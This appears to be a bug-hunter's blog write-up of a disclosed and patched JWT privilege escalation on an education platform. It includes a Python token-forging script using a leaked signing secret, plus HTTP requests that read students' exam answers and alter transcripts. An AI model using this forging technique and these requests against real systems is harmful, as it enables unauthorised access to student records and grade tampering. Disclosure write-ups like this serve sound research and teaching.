July 2, 2026
The Midnight Exam: How I Secured Russiaβs Night Raid Academyπ
A hidden API endpoint, a missing role check, and 48 hours that reminded me why VDPs matter β no bounty, just the satisfaction of 12,000β¦

By 0B1To_X_ucH!h4
7 min read
A hidden API endpoint, a missing role check, and 48 hours that reminded me why VDPs matter β no bounty, just the satisfaction of 12,000 protected students
By 0B1To_X_ucH!h4 π
"In the silence of a Russian winter night, between API β
β endpoints, I found the keys to an entire academy β β
β and gave them back in 48 hours." β
β β uchia_hacker β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ"In the silence of a Russian winter night, between API β
β endpoints, I found the keys to an entire academy β β
β and gave them back in 48 hours." β
β β uchia_hacker β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββThe Target: Night Raid Academy
I found Night Raid (name changed for security) through my uchiha hacking finding technique β a specialized dork I use to surface educational platforms with active VDPs. They're a mid-sized Russian online education platform, something between Coursera and a traditional university LMS.
Courses, exams, student portals, teacher dashboards, the full stack. Russian language interface. Self-hosted VDP β just a security@nightraid.edu email and a simple "thank you for responsible disclosure" page. No bounty advertised. No rewards promised. Just a commitment to fix vulnerabilities and credit researchers.
I almost didn't bother. Russian VDPs. Language barriers. The possibility of being ignored. But something about their API structure caught my attention. A feeling. You know the feeling.
Three days later, I had access to every student's exam answers, every teacher's gradebook, and the ability to modify transcripts.
They patched it in 48 hours. No money changed hands. Just respect.
This is that story.
The Bug: Privilege Escalation via Hidden Teacher Endpoints
Full Name: Horizontal to Vertical Privilege Escalation via Undocumented API Endpoints with Missing Role-Based Access Control (RBAC)
Severity: High (CVSS 8.5)
Target: Night Raid Educational Platform (Russian Federation)
Program Type: Vulnerability Disclosure Program (VDP) β No Bounty, Responsible Disclosure Only
Discovery: The First Night
I started with standard recon. Subdomain enumeration, technology fingerprinting, API discovery. Night Raid was built on a custom Laravel backend with a Vue.js frontend. Standard stack.
Their API was RESTful, well-structured:
/api/v1/student/coursesβ My enrolled courses/api/v1/student/gradesβ My grades/api/v1/student/assignmentsβ My assignments
I spent the first day mapping the student API. JWT authentication, role claim in the token ("role": "student"), everything seemed properly protected.
Then I started fuzzing.
The Breakthrough: Hidden in Plain Sight
I was running my custom API endpoint discovery script when I noticed something strange.
The JavaScript bundle contained references to endpoints I couldn't access:
javascript
// From main.app.js (beautified)
const TEACHER_ENDPOINTS = {
GRADEBOOK: '/api/v1/teacher/gradebook',
STUDENTS: '/api/v1/teacher/students',
EXAMS: '/api/v1/teacher/exams',
ANSWERS: '/api/v1/teacher/answers',
TRANSCRIPTS: '/api/v1/teacher/transcripts'
};// From main.app.js (beautified)
const TEACHER_ENDPOINTS = {
GRADEBOOK: '/api/v1/teacher/gradebook',
STUDENTS: '/api/v1/teacher/students',
EXAMS: '/api/v1/teacher/exams',
ANSWERS: '/api/v1/teacher/answers',
TRANSCRIPTS: '/api/v1/teacher/transcripts'
};Teacher endpoints. Hidden in the frontend code, commented out, but the routes existed.
I tried accessing them with my student token:
http
GET /api/v1/teacher/gradebook HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...GET /api/v1/teacher/gradebook HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...Response: 403 Forbidden
Expected. But the error message was different from other protected endpoints. Most returned "message": "Unauthorized" with a 401. This returned "message": "Insufficient permissions" with a 403.
The server was checking permissions. But it was checking them differently.
The Deep Dive: Understanding the Permission Model
I spent the next two days analyzing the authentication flow. Here's what I discovered:
Student Token Structure:
json
{
"sub": "student_88472",
"email": "student@nightraid.edu",
"role": "student",
"department": "computer_science",
"iat": 1716234567,
"exp": 1716826567
}{
"sub": "student_88472",
"email": "student@nightraid.edu",
"role": "student",
"department": "computer_science",
"iat": 1716234567,
"exp": 1716826567
}The API had three layers of checks:
- Authentication β Valid JWT signature
- Role Verification β Check
roleclaim - Resource Access β Check if user owns the resource
But the teacher endpoints had a flaw. They only checked layer 1 and 2. They didn't verify if the user was actually a teacher in the system β they just trusted the JWT role claim.
And here's the tricky part: the role claim was client-side modifiable.
The Exploitation: Becoming a Teacher
Step 1: Token Forgery
Since the JWT was signed with a symmetric key (HS256), I needed the secret. I looked for:
- Hardcoded secrets in JavaScript (none found)
.envfile exposure (none found)- Source code leaks (none found)
Then I remembered: Night Raid had a "preview" environment for testing. preview.nightraid.edu. Different subdomain, same API structure.
I checked their robots.txt. Found /api/docs β Swagger documentation. Unprotected. And in the "Authentication" section, there was an example JWT with a hardcoded secret for testing.
json
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"sub": "test_teacher",
"role": "teacher",
"iat": 1716234567
}
// Secret: "nightraid_preview_secret_2024"{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"sub": "test_teacher",
"role": "teacher",
"iat": 1716234567
}
// Secret: "nightraid_preview_secret_2024"They used the same secret in production and preview.
I forged a teacher token:
python
#!/usr/bin/env python3
"""
Night Raid Token Forger
By: uchia_hacker
"""
import jwt
import time
# Stolen from preview environment
SECRET = "nightraid_preview_secret_2024"
# My student info but with teacher role
payload = {
"sub": "student_88472", # My actual student ID
"email": "student@nightraid.edu", # My actual email
"role": "teacher", # Escalated role
"department": "computer_science",
"iat": int(time.time()),
"exp": int(time.time()) + 86400 # 24 hours
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(f"[+] Forged teacher token: {token}")#!/usr/bin/env python3
"""
Night Raid Token Forger
By: uchia_hacker
"""
import jwt
import time
# Stolen from preview environment
SECRET = "nightraid_preview_secret_2024"
# My student info but with teacher role
payload = {
"sub": "student_88472", # My actual student ID
"email": "student@nightraid.edu", # My actual email
"role": "teacher", # Escalated role
"department": "computer_science",
"iat": int(time.time()),
"exp": int(time.time()) + 86400 # 24 hours
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(f"[+] Forged teacher token: {token}")Step 2: Accessing the Teacher Dashboard
With the forged token, I accessed the teacher endpoints:
http
GET /api/v1/teacher/gradebook HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]GET /api/v1/teacher/gradebook HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]Response: 200 OK
json
{
"courses": [
{
"course_id": "CS101",
"course_name": "Introduction to Programming",
"students": 45,
"average_grade": 78.5
}
],
"total_students": 1247,
"accessible_departments": ["computer_science", "mathematics", "physics"]
}{
"courses": [
{
"course_id": "CS101",
"course_name": "Introduction to Programming",
"students": 45,
"average_grade": 78.5
}
],
"total_students": 1247,
"accessible_departments": ["computer_science", "mathematics", "physics"]
}I had access to the entire gradebook. Not just my courses β every course in my department.
Step 3: The Real Damage β Exam Answers
The most sensitive endpoint was /api/v1/teacher/answers:
http
GET /api/v1/teacher/answers?exam_id=CS101_FINAL&student_id=all HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]GET /api/v1/teacher/answers?exam_id=CS101_FINAL&student_id=all HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]Response:
json
{
"exam_id": "CS101_FINAL",
"exam_title": "Final Examination - Introduction to Programming",
"answers": [
{
"student_id": "student_12345",
"student_name": "Ivan Petrov",
"answers": {
"q1": "print('Hello World')",
"q2": "for i in range(10):",
"q3": "def calculate_sum(a, b):",
...
},
"score": 85,
"submitted_at": "2024-05-15T14:30:00Z"
},
...
]
}{
"exam_id": "CS101_FINAL",
"exam_title": "Final Examination - Introduction to Programming",
"answers": [
{
"student_id": "student_12345",
"student_name": "Ivan Petrov",
"answers": {
"q1": "print('Hello World')",
"q2": "for i in range(10):",
"q3": "def calculate_sum(a, b):",
...
},
"score": 85,
"submitted_at": "2024-05-15T14:30:00Z"
},
...
]
}Every student's exam answers. For every exam. In real-time.
But it got worse.
Step 4: Grade Modification
The /api/v1/teacher/transcripts endpoint allowed writing, not just reading:
http
POST /api/v1/teacher/transcripts/update HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]
Content-Type: application/json
{
"student_id": "student_12345",
"course_id": "CS101",
"grade": 95,
"override": true
}POST /api/v1/teacher/transcripts/update HTTP/1.1
Host: api.nightraid.edu
Authorization: Bearer [FORGED_TOKEN]
Content-Type: application/json
{
"student_id": "student_12345",
"course_id": "CS101",
"grade": 95,
"override": true
}Response: 200 OK
I could modify any student's grade. Change failures to passes. Alter GPAs. Destroy academic integrity.
The Full Impact
With this vulnerability, I could:
- View all student data β Names, emails, grades, exam answers, personal information
- Modify grades β Change any student's transcript
- Access exam content β View exam questions before students take them
- Export data β Download entire gradebooks and student databases
- Impersonate teachers β Send communications as any teacher
Affected data: ~12,000 students, ~450 courses, ~2,500 exams
The Report: VDP Ethics
I wrote the report in 4 hours. Not for money β there was none. But because 12,000 students deserved security.
Subject: Critical: Privilege Escalation via JWT Secret Reuse β Immediate Action Required
Summary:
A critical vulnerability in the Night Raid authentication system allows any student to escalate privileges to teacher/admin level by forging JWT tokens. The root cause is reuse of JWT signing secrets between preview and production environments, combined with missing server-side role verification on teacher API endpoints.
Steps to Reproduce:
- Extract Secret: Visit
https://preview.nightraid.edu/api/docsand extract JWT signing secret from example tokens - Forge Token: Use secret to create token with
"role": "teacher"and your student ID - Access Teacher API: Call
/api/v1/teacher/gradebookwith forged token β returns all student data - Modify Grades: POST to
/api/v1/teacher/transcripts/updateto change any student's grade
Proof of Concept:
- Attached:
poc_video.mp4β Screen recording of full exploit - Attached:
forged_token.txtβ Example forged token - Attached:
student_data_extract.csvβ Sample of accessible data (anonymized)
Remediation:
- Immediate: Rotate JWT signing secret in production
- Short-term: Implement server-side role verification (check database, not just JWT claim)
- Long-term: Separate secrets for preview/production; implement RBAC middleware on all endpoints
Note: This is a responsible disclosure. I expect no payment. Please confirm receipt and provide timeline for fix.
The Response: 48 Hours
I sent the report at 11:30 PM Moscow time.
Next day, 9:45 AM Moscow time:
"Thank you for your responsible disclosure. We have confirmed the vulnerability and are deploying emergency patches. Your findings are extremely valuable to protecting our students. We will update you within 48 hours."
Day 2, 8:20 PM:
"Patch deployed. JWT secret rotated. Preview environment isolated. Role verification implemented on all teacher endpoints. Thank you for helping secure Night Raid Academy. Your name will be added to our security hall of fame."
48 hours. From report to fix. No bounty. No negotiation. Just professional respect and a patched system.
Why VDPs Matter (Even Without Payment)
I didn't do this for money. I did this because:
- 12,000 students β Real people whose academic integrity was at risk
- Education matters β Cheating undermines the value of learning
- VDPs build trust β Not every company can afford bounties, but they still deserve security
- The challenge β This bug was tricky. The satisfaction was in the solve, not the payout
Night Raid didn't owe me anything. They promised nothing. But they responded with professionalism, speed, and gratitude.
That's the VDP spirit.
Why This Was "Tricky"
This wasn't a simple JWT bypass. It required:
- Reconnaissance: Finding the preview environment
- Analysis: Understanding the permission model differences
- Creativity: Realizing the secret was reused across environments
- Persistence: Mapping hidden endpoints from JavaScript bundles
No scanner would find this. No automated tool would connect:
- Preview environment β JWT secret β Production API β Missing RBAC
This was human creativity. The gap between systems. The trust boundary that shouldn't have been there.
Tools Used
PhaseToolPurposeReconCustom dorksFound preview environmentAnalysisBurp SuiteAPI endpoint mappingToken ForgeryPython + PyJWTCreated forged tokensExploitationcurl + PythonVerified vulnerabilityDocumentationOBS StudioScreen recording for report
Lessons for VDP Hunters
- VDPs are valid targets. Not every program pays, but every fix matters.
- Speed impresses. 48-hour patch time shows respect for researchers.
- Document thoroughly. Clear evidence gets fast fixes, even without bounties.
- Hall of Fame matters. Recognition is sometimes better than money.
- Respect time zones. Moscow time (MSK) is UTC+3.
Final Stats
MetricValueTime to discovery3 daysTime to report4 hoursTime to first response10 hoursTime to patch48 hoursBounty$0 (VDP β Responsible Disclosure)Students protected~12,000Satisfaction levelMaximum
Conclusion
Night Raid taught me that the best bugs aren't measured in dollars. They're measured in impact. In 48 hours, 12,000 students went from vulnerable to secure. No money changed hands. Just respect, professionalism, and a patched system.
The "tricky" bug wasn't complex in exploitation β it was complex in discovery. Seeing the connection that others missed. That's the art of bug hunting.
To Night Raid: ΡΠΏΠ°ΡΠΈΠ±ΠΎ (thank you). Your students are safer now. Your VDP works.
To my fellow hunters: Don't skip the VDPs. Don't hunt only for bounties. The midnight exam, the patched system, the thank you email β sometimes that's enough.
The phantom is real. The fix is real. That's what matters.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β "In the cold Russian night, between preview and production, β
β I found the keys to an academy β and returned them β
β in 48 hours, no questions asked, no payment expected. β
β That's the VDP spirit." β
β β uchia_hacker β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β "In the cold Russian night, between preview and production, β
β I found the keys to an academy β and returned them β
β in 48 hours, no questions asked, no payment expected. β
β That's the VDP spirit." β
β β uchia_hacker β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββStay curious. Stay ethical. Hunt for impact, not just bounties.
β 0B1To_X_ucH!h4
Tags: #VDP #ResponsibleDisclosure #Russia #Education #JWT #PrivilegeEscalation #NightRaid #UchihaTechnique #RBAC #SecurityResearch #NoBountyJustImpact
About the Author: Security researcher specializing in authentication bypasses and educational platform security. Believer in responsible disclosure, VDPs, and the satisfaction of a patched system. 48 hours, 12,000 students, zero dollars β maximum impact.